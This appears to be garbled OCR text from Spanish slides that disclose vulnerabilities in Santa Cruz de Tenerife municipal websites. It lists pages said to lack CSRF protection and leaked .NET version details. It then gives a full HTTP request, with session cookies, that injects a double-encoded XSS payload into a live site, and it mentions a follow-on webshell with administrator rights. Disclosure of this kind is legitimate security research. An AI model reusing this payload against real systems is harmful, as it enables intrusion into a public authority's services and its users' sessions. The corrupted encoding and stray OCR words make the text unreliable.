SessionMode: InProc
SessionTimeout: 21
IsNewSession: True
Versions
Application Version: App_global.asax.xn8bzek_, Version=0.0.0.0, Culture=neutral, PublickeyToken=null
) : : e il cKeyToken=c05434629d06c05e

NET version: Microsoft .NET Framework:2.0.50727.5485; >>> Attention!!

OS Version: Microsoft Windows NT 6.1.7601 Service Pack 1

LogSeverityLevel: LoggedError
LogWriterType: XML
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Sin proteccién para CSRF (Cross-Site Request Forgery):

* https://www.sctfe.es/normativas/
* https://www.sctfe.es/impresos/

Cackron
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Callbacks sin proteccidon ninguna incluso permitiendo otro(s) XSS:

GET
/sta/Relec/CatalogDetail?action=make&dboidProcedure=6262600922678482607544&dboidReque
st=6269000922679636607544&1lang=es&urlBack=%
252F%2565%2550%2561%2572%2574%2569%2563%2569%2570%2561%252F%2550%2572%256F%2564%2575%
2563%2574%2573%252F%2563%2561%2572%2570%2565%2574%2561%252F%2550%2572%256%2576%2561%2
5%2565%252F%2572%2565%2571%2575%2565%2573%2574%2573%252F%2552%2565%2571%2575%2565%257
3%2574%2573%2542%2572%256F%257%2573%2565%252E%2561%2573%2570%2578%2522%2520%256F%256E
%$256D%256F%2575%2573%2565%256F%2576%2565%2572%253D%2558%255A%2534%2554%2528%2539%2530
$2530%2538%2529%2520%2562%2561%2564%253D%2522 HTTP/1.1

Referer: https://ayuntamientovirtual.santacruzdetenerife.es/

Cookie: ASP.NET SessionId=iwzs426533wmazbrs5lwyvjo;
JSESSIONID=1707A1B5ADF3137FDFFAADD7059F80FB;
JSESSIONID=1707A1B5ADF3137FDFFAADD7059F80FB; MenuGroupl=true; MenuGroup5=true

Host: ayuntamientovirtual.santacruzdetenerife.es

Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like
Gecko) Chrome/41.0.2228.0 Safari/537.21
Eackron

Accept: */*
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Tras las A’s toca la websell con permisos de administrador...
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Conclusion: la seguridad nos importa una...

ool

iMuchas gracias!

L
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